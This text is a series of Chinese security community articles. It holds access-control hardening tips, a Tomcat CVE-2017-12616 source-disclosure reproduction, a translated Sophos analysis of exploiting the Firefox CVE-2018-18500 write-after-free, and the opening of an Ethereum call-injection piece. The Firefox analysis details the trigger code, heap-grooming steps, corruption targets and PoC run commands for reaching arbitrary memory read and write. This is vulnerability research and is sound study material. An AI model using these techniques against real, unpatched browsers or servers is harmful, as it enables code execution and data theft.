2、对于固定返回信息可以使用特定链接地址返回，同时采用不可预测地址，如：getuserinfo_snhx.php
3、对于需要修改、新增等功能进行判断，根据当前seesion判断用户，参数中只传输修改的用户信息。
4、区分用户和管理员时，不采用某些相同的参数来区别。如dede区分管理和用户都是采用ID值，容易产生问题。
5、对于查询类越权需要对每一次请求的参数做当前用户身份效验，避免水平越权。 | 社区文章 |
## 官方报告：
Important: Information Disclosure CVE-2017-12616
When using a VirtualDirContext it was possible to bypass security constraints
and/or view the source code of JSPs for resources served by the
VirtualDirContext using a specially crafted request.
This was fixed in revision 1804729.
This issue was identified by the Tomcat Security Team on 10 August 2017 and
made public on 19 September 2017.
Affects: 7.0.0 to 7.0.80
## 复现步骤
配置server.xml 如下：
<Host name="localhost" appBase="webapps"
unpackWARs="true" autoDeploy="true">
<Context path="/test" docBase="D:\code\tomcatsrc-master\tomcatsrc-master\lunch\webapps\examples" debug="1" reloadable="true">
<Resources className="org.apache.naming.resources.VirtualDirContext" extraResourcePaths="/=D:\code\tomcatsrc-master\tomcatsrc-master\leaked" />
<Loader className="org.apache.catalina.loader.VirtualWebappLoader" virtualClassPath="/tmp/class" />
<JarScanner scanAllDirectories="true" />
</Context>
这个配置文件在VirtualDirContext的源码中可以看到，从tomcat wiki看到这个配置`extraResourcePaths=" /WEB-INF/ /=D:\code\tomcatsrc-master\tomcatsrc-master\leaked"`是以前的写法，到了tomcat7配置得更新为`extraResourcePaths="/=D:\code\tomcatsrc-master\tomcatsrc-master\leaked"`，我当时就因为这个还走了弯路，后来调试过程中发现extraResourcePaths获取的值解析的时候总是不对，才从源码中一看，原来配置更新了。新的解析代码是以，作为分隔符，等号作为key和value的分隔符。
在Tomcat中，Host，Context都是容器类，一个Host可以包含多个Context，可以理解为一个Context是一个应用，对应着一个web.xml。而Context则包含多个Wrapper，这些Wrapper则是具体的执行对象。而Resources则是tomcat查找资源的时候调用的类。下面展示一下运行效果：
## 调试分析
Tomcat对于每一个请求，首先是交给connector处理，处理的过程中就会通过mapper寻找对应的资源，也就是通过org.apache.naming.resources下面的类来完成，从server.xml的配置中可以看到，设置了extraResourcesPath这个属性，tomcat会到这个目录下来查找资源，具体的查找功能就是由VirtualDirContext实现的，下面在VirtualDirContext下一个条件断点，得到如下调用栈，从这个调用栈就能看出一个查找资源文件的过程。
继续跟进去
doLookup是调用其父类FileDirContext的doLookup方法，具体如下：
protected Object doLookup(String name) {
Object retSuper = super.doLookup(name);
if (retSuper != null || mappedResourcePaths == null) {
return retSuper;
}
doLookup是调用其父类FileDirContext的doLookup方法，具体如下：
protected Object doLookup(String name) {
Object result = null;
File file = file(name);
if (file == null)
return null;
if (file.isDirectory()) {
FileDirContext tempContext = new FileDirContext(env);
tempContext.setDocBase(file.getPath());
tempContext.setAllowLinking(getAllowLinking());
result = tempContext;
} else {
result = new FileResource(file);
}
return result;
}
继续跟进file方法，在这里tomcat实现了一些校验，会判断文件是否存在和可读标记。这样就完成了一个资源映射供后续使用，从调试信息中也可以看到，请求的是0.jsp.，本应该是不存在的，new
File()接口调用完之后却是存在的，这就是漏洞点。
这个映射关系会存到cache中，供后续请求使用。tomcat本身的逻辑也是，第一次请求先存cache，然后再传递给Servlet处理。存完cache之后会从cache中去取文件。
这块的逻辑可以从ProxyDirContext中cachedLoad体现出来，具体如下：
继续跟进FileDirContext.streamContent()，实现如下：从图中我们可以看到已经获取到0.jsp的内容
把这些cache全部存好之后，tomcat会将请求转发DefaultServlet处理，大致流程就是Http11接收，传递给Enginer->Host->Context->Wrapper->Servlet，一种典型的责任链模式。调用栈如下：
在这里会涉及到为啥0.jsp/在这里不能直接获取jsp的内容，跟进DefaultServlet.java中doGet()方法--》serveResource，在serveResource下有对后缀/和\的控制，这就明白了。
## 总结
这个漏洞的本质原因就是File接口和FileInputStream接口可以接收test.jsp.而错误认为是test.jsp，这应该是算JAVA
API的缺陷。
参考文献：
<http://mp.weixin.qq.com/s/sulJSg0Ru138oASiI5cYAA> | 社区文章 |
### 概要
本文是关于CVE-2018-18500的一个Mozilla Firefox安全漏洞，由SophosLabs于2018年11月发布并向Mozilla
Foundation报告。
此安全漏洞涉及`Gecko`（Firefox的浏览器引擎）中的软件错误，其中包含负责解析网页的代码。通过对网页进行恶意代码编程，我们可以利用漏洞对Firefox的实例进行破坏。
存在错误的引擎组件是`HTML5 Parser`，特别是关于“自定义元素”的处理。
这里所描述的错误的根本原因是编程错误，其中正在使用C ++对象而没有正确对它进行引用，并导致过早地释放对象。这些情况被称为`Write After
Free（释放后写入）`内存损坏，程序错误地将其写入已释放的内存中。
由于当今操作系统和程序拥有众多的安全缓解措施，所以在Web浏览器中开发内存损坏漏洞的并非易事。它往往需要利用多个错误并利用复杂的程序特定技术来实现复杂的逻辑。这意味着我们需要大量使用JavaScript等必要条件。
本文使用64位`Firefox 63.0.3 for
Windows`来获取特定于二进制文件的详细信息，并将引用`Gecko`源代码和`HTML`的标准代码。
### 技术背景 - 自定义元素
作为“Web组件”API的一部分，“自定义元素”是HTML标准中的一个相对较新的补充部分。 简而言之，它提供了一种创建新类型HTML元素的方法。
它的具体文档可以在这里找到[here](https://w3c.github.io/webcomponents/spec/custom/)。
这是一个名为`extended-br`的元素扩展的基本自定义示例，其作用与常规`br`元素相同，其还可以打印一行数据用以记录操作行为：
<body>
// Create a class for the element
class ExtendedBR extends HTMLBRElement {
constructor() {
// Always call super first in constructor
super();
console.log("Extended BR created");
}
}
// Define the new element
customElements.define("extended-br", ExtendedBR, {extends: "br"});
<br is="extended-br">
</body>
上面的示例使用“自定义内置元素”变体，该变体通过使用“is”属性进行实例化。
Firefox 63发行版（2018年10月23日）中引入了对Custom Elements的支持。
### 漏洞详情
`Firefox`在HTML树构建过程中创建自定义元素时会发生此错误。
在此过程中，引擎代码可以调用`JavaScript`回调以调用自定义元素定义的构造函数。
`JavaScript`调用点周围的引擎代码使用`C ++`对象但没有正确地保存对它的引用部分。
当引擎代码从`JavaScript`回调函数返回后，它会在内存中写入此`C ++`对象的成员变量。
然而，我们可以定义被调用的构造函数用来使文档加载中止，这意味着文档的活动解析器的中止，在内部导致活动解析器资源的破坏和解除分配，其中也包括前面提到的C
++对象。
发生这种情况时，系统将发生`“Write-After-Free”`内存损坏。
以下是用于创建HTML元素的HTML5 Parser代码中的相关部分：
nsresult
nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor* aBuilder,
nsIContent** aScriptElement,
bool* aInterrupted,
bool* aStreamEnded)
{
switch (mOpCode) {
...
case eTreeOpCreateHTMLElementNetwork:
case eTreeOpCreateHTMLElementNotNetwork: {
nsIContent** target = mOne.node;
...
*target = CreateHTMLElement(name,
attributes,
mOpCode == eTreeOpCreateHTMLElementNetwork
? dom::FROM_PARSER_NETWORK
: dom::FROM_PARSER_DOCUMENT_WRITE,
nodeInfoManager,
aBuilder,
creator);
return NS_OK;
}
...
}
nsIContent*
nsHtml5TreeOperation::CreateHTMLElement(
nsAtom* aName,
nsHtml5HtmlAttributes* aAttributes,
mozilla::dom::FromParser aFromParser,
nsNodeInfoManager* aNodeInfoManager,
nsHtml5DocumentBuilder* aBuilder,
mozilla::dom::HTMLContentCreatorFunction aCreator)
{
...
if (nsContentUtils::IsCustomElementsEnabled()) {
...
if (isCustomElement && aFromParser != dom::FROM_PARSER_FRAGMENT) {
...
definition = nsContentUtils::LookupCustomElementDefinition(
document, nodeInfo->NameAtom(), nodeInfo->NamespaceID(), typeAtom);
if (definition) {
willExecuteScript = true;
}
}
}
if (willExecuteScript) { // This will cause custom element
// constructors to run
...
nsCOMPtr<dom::Element> newElement;
NS_NewHTMLElement(getter_AddRefs(newElement),
nodeInfo.forget(),
aFromParser,
isAtom,
definition);
在`NS_NewHTMLElement`内部，如果正在创建的元素是自定义元素，则将调用函数`CustomElementRegistry::Upgrade`来调用自定义元素的构造函数，并将控制传递给JavaScript。
在自定义元素构造函数完成运行并且`CreateHTMLElement()`将执行返回到`Perform()`之后，第13行完成其执行：`CreateHTMLElement()`的返回值被写入`target`指向的内存地址。
接下来，我将解释目标点的位置、设置位置信息并使用JavaScript代码来释放内存，以及将哪种类型的值写入释放的内存。
### 目标情况
我们可以在第11行看到目标：`nsIContent ** target = mOne.node`。
这是`mOne.node`的代码内容：
nsIContentHandle*
nsHtml5TreeBuilder::createElement(int32_t aNamespace,
nsAtom* aName,
nsHtml5HtmlAttributes* aAttributes,
nsIContentHandle* aIntendedParent,
nsHtml5ContentCreatorFunction aCreator)
{
...
nsIContent* elem;
if (aNamespace == kNameSpaceID_XHTML) {
elem = nsHtml5TreeOperation::CreateHTMLElement(
name,
aAttributes,
mozilla::dom::FROM_PARSER_FRAGMENT,
nodeInfoManager,
mBuilder,
aCreator.html);
}
...
nsIContentHandle* content = AllocateContentHandle();
...
treeOp->Init(aNamespace,
aName,
aAttributes,
content,
aIntendedParent,
!!mSpeculativeLoadStage,
aCreator);
inline void Init(int32_t aNamespace,
nsAtom* aName,
nsHtml5HtmlAttributes* aAttributes,
nsIContentHandle* aTarget,
nsIContentHandle* aIntendedParent,
bool aFromNetwork,
nsHtml5ContentCreatorFunction aCreator)
{
...
mOne.node = static_cast<nsIContent**>(aTarget);
...
}
所以target的值来自`AllocateContentHandle()`：
nsIContentHandle*
nsHtml5TreeBuilder::AllocateContentHandle()
{
...
return &mHandles[mHandlesUsed++];
}
这是在`nsHtml5TreeBuilder`的构造函数初始化列表中初始化`mHandles`的方法：
nsHtml5TreeBuilder::nsHtml5TreeBuilder(nsAHtml5TreeOpSink* aOpSink,
nsHtml5TreeOpStage* aStage)
...
, mHandles(new nsIContent*[NS_HTML5_TREE_BUILDER_HANDLE_ARRAY_LENGTH])
...
因此，当创建HTML5解析器的树构建器对象时，首先初始化一个能够容纳`NS_HTML5_TREE_BUILDER_HANDLE_ARRAY_LENGTH`指针的数组，并且每次调用`AllocateContentHandle()`时，它都会返回数组中的下一个未使用的槽，从索引数字0开始。
在64位系统上，`mHandles`的分配大小为`NS_HTML5_TREE_BUILDER_HANDLE_ARRAY_LENGTH *
sizeof(nsIContent*) == 512 * 8 == 4096 (0x1000)`。
### 如何释放mHandles？
`mHandles`是类`nsHtml5TreeBuilder`的成员变量。
在错误的代码缺陷的上下文中，`nsHtml5TreeBuilder`由`nsHtml5StreamParser`实例化，而`nsHtml5StreamParser`又由`nsHtml5Parser`实例化。
我们在自定义元素构造函数中使用了以下JavaScript代码：
location.replace("about:blank");
我们告诉浏览器离开当前页面并在引擎中导致以下树结构：
Location::SetURI()
-> nsDocShell::LoadURI()
-> nsDocShell::InternalLoad()
-> nsDocShell::Stop()
-> nsDocumentViewer::Stop()
-> nsHTMLDocument::StopDocumentLoad()
-> nsHtml5Parser::Terminate()
-> nsHtml5StreamParser::Release()
最后一个函数调用会删除`nsHtml5StreamParser`对象的引用，但它还没有完全独立出来：其余的引用将被几个异步任务删除，这些任务只会在下次`Gecko`的事件循环旋转时进行调度。
这通常不会在运行`JavaScript`函数的过程中发生，因为JavaScript的一个属性是“永不阻塞”，但为了触发错误，我们必须在自定义元素构造函数返回之前执行这些挂起的异步任务。
最后一个链接提供了如何完成此操作的方法：`“Legacy exceptions exist like alert or synchronous XHR”`。
XHR（XMLHttpRequest）是一种可用于从Web服务器检索数据的API。
可以使用同步XHR使浏览器引擎事件循环，直到XHR调用完成。也就是说，从Web服务器收到数据时我们即可调用此方法。
因此，通过在自定义元素构造函数中使用以下代码...
location.replace("about:blank");
var xhr = new XMLHttpRequest();
xhr.open('GET', '/delay.txt', false);
xhr.send(null);
...并设置联系的Web服务器，之后人为地将`/delay.txt`请求的响应延迟几秒钟以在浏览器中引起长时间的事件循环循环执行，我们可以保证在时间线5完成执行时，当前活动的`nsHtml5StreamParser`对象将独立出现。
然后，下次发生垃圾收集循环时，将破坏孤立的`nsHtml5StreamParser`对象并解除其资源的分配（包括mHandles）。
`“about:blank”`在新位置创建，因为它是一个空页面，所以不需要网络交互进行加载。
此处的目的是确保引擎在`nsHtml5StreamParser`对象的销毁和写入损坏之间的范围内执行的工作量（代码逻辑）尽可能小，因为我们将利用`bug`将堆内存中的某些结构进行成功的改造。由于堆分配器本质上是非确定性的，因此在引擎中运行的任何额外逻辑同时也会意外的对开发过程产生破坏。
### 释放内存的值是多少？
`nsHtml5TreeOperation::CreateHTMLElement`的返回值是指向新创建的表示HTML元素的C ++对象的指针，例如，
`HTMLTableElement`或`HTMLFormElement`。
由于触发错误需要中止当前运行的文档解析器，因此该新对象不会链接到任何现有数据结构并保持孤立状态，并最终在将来的垃圾收集周期中释放。
### 控制自由写入后的偏移量
总结到目前为止，可以利用该bug来有效地发生以下伪代码：
nsIContent* mHandles[] = moz_xmalloc(0x1000);
nsIContent** target = &mHandles[mHandlesUsed++];
free(mHandles);
...
*target = CreateHTMLElement(...);
因此，虽然这里写入释放内存的值（`CreateHTMLElement()`的返回值）是不可控制的（总是一个内存分配指针）并且其内容不可靠，我们可以调整相对于该值写入的值的偏移量。
根据`mHandlesUsed`的值，释放分配的基址。 正如我们之前展示的`mHandlesUsed`增加了解析器的HTML元素个数：
<br> <-- mHandlesUsed = 0
<br> <-- mHandlesUsed = 1
<br> <-- mHandlesUsed = 2
<br> <-- mHandlesUsed = 3
<br> <-- mHandlesUsed = 4
<br> <-- mHandlesUsed = 5
<br> <-- mHandlesUsed = 5
<br> <-- mHandlesUsed = 6
<span is=custom-span></span> <-- mHandlesUsed = 7
在上面的例子中，给定`mHandles`的分配地址为`0x7f0ed4f0e000`并且自定义span元素在其构造函数中触发了bug，新创建的`HTMLSpanElement`对象的地址将被写入`0x7f0ed4f0e000
+ (7 * sizeof(nsIContent*))`。
### 文件销毁过程中保存下的文件
由于触发错误需要导航并中止当前文档的加载，因此在构造函数返回后，我们将无法再在该文档中执行JavaScript：`JavaScript error: ,
line 0: NotSupportedError: Refusing to execute function from window whose
document is no longer active.`。
为了编写功能性漏洞利用程序，我们必须在触发错误后继续执行更多`JavaScript`逻辑。
为此，我们可以使用创建子`iframe`元素的主网页，其中用于触发错误的HTML和JavaScript代码将驻留在其中。
触发错误并将子`iframe`的文档更改为`“about:blank”`后，主页保持不变，并可在其上下文中执行剩余的JavaScript逻辑。
以下是创建子iframe的HTML页面示例：
<body>
var f = document.createElement("iframe");
document.body.append(f);
f.srcdoc = `
console.log("this runs in the child iframe");
`;
console.log("this runs in the main page");
### 背景 - Firefox堆的概念和属性
要了解这里的利用过程，了解Firefox的内存分配器如何工作至关重要。
Firefox使用一个名为`mozjemalloc`的内存分配器，它是`jemalloc`项目的一个分支。本节将简要介绍`mozjemalloc`的一些基本术语和属性。
Regions:
"Regions"是用户分配返回的堆项目（例如malloc（3）调用）。”[PSJ]
Chunks:
"Chunks"用于描述内存分配器在概念上将可用内存划分为的大虚拟内存区域。”[PSJ]
Runs:
Runs是内存的进一步存储的大小，由`jemalloc`分成块。”[PSJ]
“从本质上讲，一个chunk被分成几个部分。”[PSJ]
“每次运行都包含特定大小的regions。”[PSJ]
Size classes:
根据Size classes将分配分为几类。
Firefox堆中的大小类：·4,8,16,32,48，...，480,496,512,1024,2048。[mozjemalloc.cpp]·
分配请求将四舍五入为最接近的大小类。
Bins:
“每个bin都有一个关联的大小类，并存储/管理这个大小类的区域。”[PSJ]
“bin的区域通过bin的运行进行管理和访问。”[PSJ]
伪码图：
void *x = malloc(513);
void *y = malloc(650);
void *z = malloc(1000);
// now: x, y, z were all allocated from the same bin,
// of size class 1024, the smallest size class that is
// larger than the requested size in
LIFO free list:
`jemalloc`的另一个有趣特征是它以后进先出（LIFO）方式运行。 一个 free
list后跟一个垃圾收集和一个相同大小的后续分配请求，很可能最终会在释放的区域内结束。“[TSOF]
伪码图：
void *x = moz_xmalloc(0x1000);
free(x);
void *y = moz_xmalloc(0x1000);
// now: x == y
Same size class allocations are contiguous:
我们在可以通过执行分配并耗尽空闲列表来实现的某种状态下，相同大小类的顺序分配将在内存中是连续的
“分配请求（即`malloc()`调用）被四舍五入并分配给一个bin。 [...]如果此过程未找到，则分配新运行并将其分配给特定bin。
因此，这意味着具有相似大小的不同类型对象在舍入到同一个bin中的对象在jemalloc堆中是连续的。“[TSOF]
伪代码：
for (i = 0; i < 1000; i++) {
x[i] = moz_xmalloc(0x400);
}
// x[995] == 0x7fb8fd3a1c00
// x[996] == 0x7fb8fd3a2000 (== x[995] + 0x400)
// x[997] == 0x7fb8fd3a2400 (== x[996] + 0x400)
// x[998] == 0x7fb8fd3a2800 (== x[997] + 0x400)
// x[999] == 0x7fb8fd3a2c00 (== x[998] + 0x400)
Run recycling:
当运行中的所有分配都被释放时，运行将被取消分配并插入到可用运行列表中。 取消分配的运行可以与相邻的解除分配的运行合并，以创建更大的单个解除分配的运行。
当需要新的运行时（用于保存新的内存分配），可以从可用运行列表中获取。
这允许属于一个运行的存储器地址保持特定大小类的分配被“再循环”成为不同运行的一部分，保持不同大小类的分配。
伪码图：
for (i = 0; i < 1000; i++) {
x[i] = moz_xmalloc(1024);
}
for (i = 0; i < 1000; i++) {
free(x[i]);
}
// after freeing all 1024 sized allocations, runs of 1024 size class
// have been de-allocated and put into the list of available runs
for (i = 0; i < 1000; i++) {
y[i] = moz_xmalloc(512);
// runs necessary for holding new 512 allocations, if necessary,
// will get taken from the list of available runs and get assigned
// to 512 size class bins
}
// some elements in y now have the same addresses as elements in x
### 攻击手段
考虑到这个错误会导致内存损坏，利用次方法尝试植入一个对象来代替释放的`mHandles`分配，以便用给定偏移量的内存地址指针覆。
一个很好的方法是“`ArrayObjects inside
ArrayObjects`”技术[TSOF]，我们将放置一个`ArrayObject`对象代替`mHandles`，然后用一个内存地址（这是一个非常大的数值）覆盖它的长度头变量这样就可以创建一个格式错误的`ArrayObject`对象，并且可以从JavaScript端访问，以便读取和写入比预期更多的内存，因为对该格式错误的数组的索引访问是根据已损坏的长度值进行验证的。
但经过一些实验后，它似乎无法正常工作。原因是2017年10月推出的代码发生了变化，将JavaScript引擎的分配与其他分配分开。因此，`js_malloc()`（JavaScript引擎函数）和`moz_xmalloc()`（常规函数）的分配将不会在同一个堆上运行。这使得该技术大多已经过时。
因此必须找到另一种对象类型。
### XMLHttpRequestMainThread作为内存损坏的目标
我们将再次讨论`XMLHttpRequest`，这次是从不同的角度。
可以将XHR对象配置为以几种不同的方式接收响应，其中一种方式是通过`ArrayBuffer`对象：
var oReq = new XMLHttpRequest();
oReq.open("GET", "/myfile.png", true);
oReq.responseType = "arraybuffer";
oReq.onload = function (oEvent) {
var arrayBuffer = oReq.response;
if (arrayBuffer) {
var byteArray = new Uint8Array(arrayBuffer);
for (var i = 0; i < byteArray.byteLength; i++) {
// do something with each byte in the array
}
}
};
oReq.send(null);
下面为引擎函数，它负责使用接收到的响应数据创建`ArrayBuffer`对象，在访问`XMLHttpRequest`的对象响应属性时调用（第6行）：
JSObject* ArrayBufferBuilder::getArrayBuffer(JSContext* aCx) {
if (mMapPtr) {
JSObject* obj = JS::NewMappedArrayBufferWithContents(aCx, mLength, mMapPtr);
if (!obj) {
JS::ReleaseMappedArrayBufferContents(mMapPtr, mLength);
}
mMapPtr = nullptr;
// The memory-mapped contents will be released when the ArrayBuffer
// becomes detached or is GC'd.
return obj;
}
在上面的代码中，如果我们在函数开始之前修改`mMapPtr`，我们将得到一个`ArrayBuffer`对象，并指向我们放入`mMapPtr`而不是预期返回数据的任何地址。
访问返回的`ArrayBuffer`对象将允许我们从`mMapPtr`指向的内存中读取和写入。
要将XHR对象填充到这种方便的被破坏的堆栈中，需要将其置于已发送实际请求并正在等待响应的状态。
我们可以将XHR请求的资源设置为URI，以避免网络活动的延迟和开销：
`xhr.open("GET", "data:text/plain,xxxxxxxxxx", true);`
在`mMapPtr`包含在`XMLHttpRequestMainThread`类内的子类`ArrayBufferBuilder`中，该类是内部`XMLHttpRequest`对象的实际实现类。
它的大小是`0x298`：
大小为0x298的分配进入0x400大小类bin，因此`XMLHttpRequestMainThrea`d对象将始终放在属于以下模式之一的内存地址中：`0xXXXXXXXXX000,0xXXXXXXXX400,0xXXXXXXXXX800或0xXXXXXXXXXc00`。
这与mHandles分配的模式很好地同步，即`0xXXXXXXXXX000`。
要使用该bug破坏XHR的`mArrayBufferBuilder.mMapPtr`值，我们必须将0x250字节的偏移量放入释放的mHandles分配中：
因此，`XMLHttpRequestMainThread`是利用此内存损坏的合适目标，但其大小类与mHandle不同，需要我们依赖于执行“运行回收”技术。
为了帮助执行“ grooming”堆以这种方式运行所需的堆操作，我们将使用另一种对象类型：
### 用于堆grooming的FormData
简单地说，FormData是一种对象类型，它包含提供给它的一组键/值对。
var formData = new FormData();
formData.append("username", "Groucho");
formData.append("accountnum", "123456");
在内部，它使用数据结构`FormDataTuple`来表示键/值对，以及一个名为`mFormData`的成员变量来存储它所持有的对：
`nsTArray mFormData`。
`mFormData`最初是一个空数组。 调用`append()`和`delete()`方法在其中添加或删除元素。
`nsTArray`类使用动态内存分配来存储其元素，根据需要扩展或缩小其分配大小。
这就是`FormData`选择此存储缓冲区的分配大小的方式：
nsTArray_base<Alloc, Copy>::EnsureCapacity(size_type aCapacity,
size_type aElemSize) {
...
size_t reqSize = sizeof(Header) + aCapacity * aElemSize;
...
// Round up to the next power of two.
bytesToAlloc = mozilla::RoundUpPow2(reqSize);
...
header = static_cast<Header*>(ActualAlloc::Realloc(mHdr, bytesToAlloc));
鉴于`sizeof（Header）== sizeof（nsTArrayHeader）== 8和aElemSize ==
sizeof（FormDataTuple）== 0x30`，这是获取缓冲区分配大小作为数组中元素数量的函数的公式：
`bytesToAlloc = RoundUpPow2（8 + aCapacity * 0x30）`
由此我们可以计算出`mFormData`将在附加到它的第11对上执行对0x400字节的`realloc()`调用，在第22对上执行0x800字节`realloc()`，在第43对上执行0x1000字节`realloc()`。缓冲区的地址存储在`mFormData.mHdr`中。
要产生`mFormData.mHdr`的分配取消操作，我们可以使用`delete()`方法。它将从数组中删除的单个键名作为参数，但不同的对可以使用相同的键名。因此，如果为每个附加对重用相同的键名，则在该键名上调用`delete()`将在一次运行中清除整个数组。一旦`nsTArray_base`对象减少为保存0个元素，mHdr中的内存将被释放。
总而言之，我们可以使用FormData对象在Firefox堆中任意执行特定大小的内存的分配和解除分配。
知道这一点，这些是我们可以采取的步骤，用于放置0x400大小类分配来代替0x1000大小类分配：
1 进行0x1000分配
创建许多`FormData`对象，并为每个对象追加43对。
现在堆包含许多块，其中大部分是连续的0x1000运行，其中包含我们的`mFormData.mHdr`缓冲区。
2 内存中的“Poke holes”
使用`delete()`取消分配一些`mFormData.mHdr`缓冲区，以便在`mFormData.mHdr`分配块之间有空闲的0x1000大小的空格。
3 触发`mHandles`的分配
附加子iframe，并创建HTML解析器，并使用`mHandles`分配的`nsHtml5TreeBuilder`对象。
由于“LIFO空闲列表”，mHandles应该获得与上一步中取消分配的缓冲区之一相同的地址。
4 释放mHandles
5 释放所有0x1000分配
在所有剩余的`FormData`上使用`delete()`。
6 0x400分配
创建多个`XMLHttpRequest`对象。
如果正确完成，在执行这些步骤后触发错误将破坏在步骤6中创建的创建的`XMLHttpRequest`对象，以便其`mArrayBufferBuilder.mMapPtr`变量现在指向HTML元素对象。
我们可以继续遍历所有创建的XHR对象并检查它们的响应属性。如果它们中的任何一个包含意外数据，那么它必定已成功被攻击，因为该错误，我们现在有一个能够读取的`ArrayBuffer`对象和写入新创建的HTML元素对象的内存。
仅此一点就足以让我们通过读取对象的成员变量来绕过`ASLR`，其中一些变量指向`Firefox`的主`DLL
xul.dll`中的变量。还可以通过修改对象的虚拟表指针来控制程序执行。但是，如前所述，这个HTML元素对象是孤立的，不能被JavaScript引用并且是为了解除分配，所以必须采取另一种方法。
如果再次查看上面引用的`ArrayBufferBuilder::getArrayBuffer`函数，我们可以看到即使在损坏状态下，创建的ArrayBuffer对象也设置为与原始响应相同的长度，因为只修改了`mMapPtr`，`mLength`却完好无损。
由于响应大小将与我们选择所请求的数据URI的大小相同，我们可以任意设置它，并确保格式错误的`ArrayBuffer`的长度足以覆盖它将指向的HTML元素，但是在HTML元素之后将操作范围扩展到相当大的内存量。
要写入`mMapPtr的HTML`元素对象的特定类型由我们选择使用自定义元素定义扩展的HTML元素的基本类型决定。
HTML元素对象的大小介于`0x80和0x6d8`之间：
因此，我们可以在不同的堆大小类之间进行选择，以便通过格式错误的`ArrayBuffer`进行操作。
例如，选择扩展“br”HTML元素将导致指向写入`mMapPtr`的`HTMLBRElement`（大小为0x80）对象的指针。
正如堆栈定义中所述，紧跟在HTML元素之后的内存将保存相同大小类的其他分配。
要在HTML元素之后立即定位特定对象，我们可以利用“相同大小类分配是连续的”堆属性，并且：
1 查找与目标对象具有相同大小类的HTML元素，并将自定义元素定义基于该元素。
2 通过分配相同HTML元素类型的许多实例来得出相关bin的空闲列表。
这非常适合0x250字节的损坏偏移，因为在自定义元素之前定义许多元素是达到此偏移的必要条件，它有助于我们完成消耗操作。
3 在分配自定义HTML元素对象后，尽快为放置目标对象分配。 在此之后立即调用自定义元素的构造函数，因此应该首先在构造函数内部创建对象。
利用此功能的最直接的方法是利用我们已经了解的`XMLHttpRequest`对象并将其用作目标对象。
以前我们只能使用不可控制的指针来破坏`mMapPtr`，但现在可以完全控制对象的操作，我们可以任意设置`mMapPtr`和`mLength`，以便能够读取和写入内存中的任何地址。
但是，`XMLHttpRequestMainThread`对象属于0x400大小类，并且没有HTML元素对象属于相同大小的类！
因此必须使用另一种对象类型。`FileReader`对象有点类似于`XMLHttpRequest`，因为它读取数据并可以将其作为`ArrayBuffer`返回。
var arrayBuffer;
var blob = new Blob(["data to read"]);
var fileReader = new FileReader();
fileReader.onload = function(event) {
arrayBuffer = event.target.result;
if (arrayBuffer) {
var byteArray = new Uint8Array(arrayBuffer);
for (var i = 0; i < byteArray.byteLength; i++) {
// do something with each byte in the array
}
}
};
fileReader.readAsArrayBuffer(blob);
与`XMLHttpRequest`的情况类似，FileReader使用`ArrayBuffer`创建函数`JS::NewArrayBufferWithContents`及其成员变量`mFileData和mDataLen`作为参数：
nsresult FileReader::OnLoadEnd(nsresult aStatus) {
...
// ArrayBuffer needs a custom handling.
if (mDataFormat == FILE_AS_ARRAYBUFFER) {
OnLoadEndArrayBuffer();
return NS_OK;
}
...
}
void FileReader::OnLoadEndArrayBuffer() {
...
mResultArrayBuffer = JS::NewArrayBufferWithContents(cx, mDataLen, mFileData);
如果我们可以在使用`ArrayBuffer`来调用`readAsArrayBuffer()`和`onload`事件来破坏内存中的`FileReader`对象，我们可以使`FileReader`创建另一个格式错误的`ArrayBuffer`，但这次指向任意地址。
`FileReader`对象适合在此处使用，因为它的大小：
它与“img”元素（HTMLImageElement）兼容，其对象大小为0x138。
### 在文档中创建和使用对象
子`iframe`文档中止的另一个影响因素是，从它内部创建的任何`XMLHttpRequest或FileReader`对象都将从它们的父类中分离出来，并且将不再以我们想要的方式使用。
由于我们需要在特定时间点创建新的`XMLHttpRequest`和`FileReader`对象，而自定义元素构造函数在子iframe文档中运行，但是在文档加载中止后还需要它们的使用，我们可以使用以下方法
“同步”通过使用`postMessage()`和使用XHR的事件循环将执行传递到主页：
sync.html:
<body>
function receiveMessage(event) {
console.log("point 2");
}
addEventListener("message", receiveMessage, false);
let f = document.createElement("iframe");
f.src = "sync2.html";
document.body.append(f);
</body>
sync2.html:
<body>
var delay_xhr = new XMLHttpRequest();
delay_xhr.open('GET', '/delay.xml', false);
parent.postMessage("", "*");
console.log("point 1");
delay_xhr.send(null);
console.log("point 3");
</body>
将会输出：
point 1 (child iframe)
point 2 (main page)
point 3 (child iframe)
通过这种方式，我们可以启用从子`iframe`运行的`JavaScript`代码，以在主页面中发送和调度`JavaScript`函数的执行，并确保它在获得控制权之前完成运行。
### POC
PoC构建在上面所写的所有内容上，以生成一个`ArrayBuffer`，可用于从`0x4141414141414141`读取和写入内存。
$ python delay_http_server.py 8080 &
$ firefox http://127.0.0.1:8080/customelements_poc.html
我们可以在连接中找到具体使用方法：
[on the SophosLabs GitHub
repository.](https://github.com/sophoslabs/CVE-2018-18500)
### 漏洞修补
此bug在 [Firefox 65.0](https://www.mozilla.org/en-US/security/advisories/mfsa2019-01/)中修补。
`nsHtml5TreeOperation::Perform: nsHtml5TreeOpExecutor::RunFlushLoop and
nsHtml5TreeOpExecutor::FlushDocumentWrite.`
+ RefPtr<nsHtml5StreamParser> streamParserGrip;
+ if (mParser) {
+ streamParserGrip = GetParser()->GetStreamParser();
+ }
+ mozilla::Unused << streamParserGrip; // Intentionally not used within function
此文为译文，原文来自：[https://news.sophos.com/en-us/2019/04/18/protected-cve-2018-18500-heap-write-after-free-in-firefox-analysis-and-exploitation/](https://news.sophos.com/en-us/2019/04/18/protected-cve-2018-18500-heap-write-after-free-in-firefox-analysis-and-exploitation/) | 社区文章 |
作者：隐形人真忙
公众号：<https://mp.weixin.qq.com/s/l3QBZwacLjIzu6KlpUvuWw>
#### TL;DR
这是我在先知安全大会上分享议题中的一部分内容。主要介绍了利用对call调用处理不当，配合一定的应用场景的一种攻击手段。
#### 0x00 基础知识
以太坊中跨合约调用是指的合约调用另外一个合约方法的方式。为了好理解整个调用的过程，我们可以简单将调用发起方合约当做传统web世界的浏览器，被调用的合约看作webserver，而调用的msg则是http数据，EVM底层通过ABI规范来解码参数，获取方法选择器，然后执行对应的合约代码。
当然，实际上智能合约的执行一般在打包交易或者验证交易的时候发生，上面的比喻只是方便理解。
在solidity语言中，我们可以通过call方法来实现对某个合约或者本地合约的某个方法进行调用。
调用的方式大致如下：
<address>.call(方法选择器, arg1, arg2, …)
<address>.call(bytes)
如上所述，可以通过传递参数的方式，将方法选择器、参数进行传递，也可以直接传入一个字节数组，当然要自己去构造msg.data的结构。
